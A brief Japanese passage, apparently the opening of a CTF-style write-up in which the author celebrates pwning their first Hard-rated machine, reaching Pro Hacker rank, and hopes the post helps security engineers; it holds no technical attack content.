Hardの初PWNということもあってとても嬉しかったです。そしてとても難しかったです。（でもSandwormの方が難しかった印象。）
これで念願のPro Hacker昇格を果たしました。ありがとうございます。Proです。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。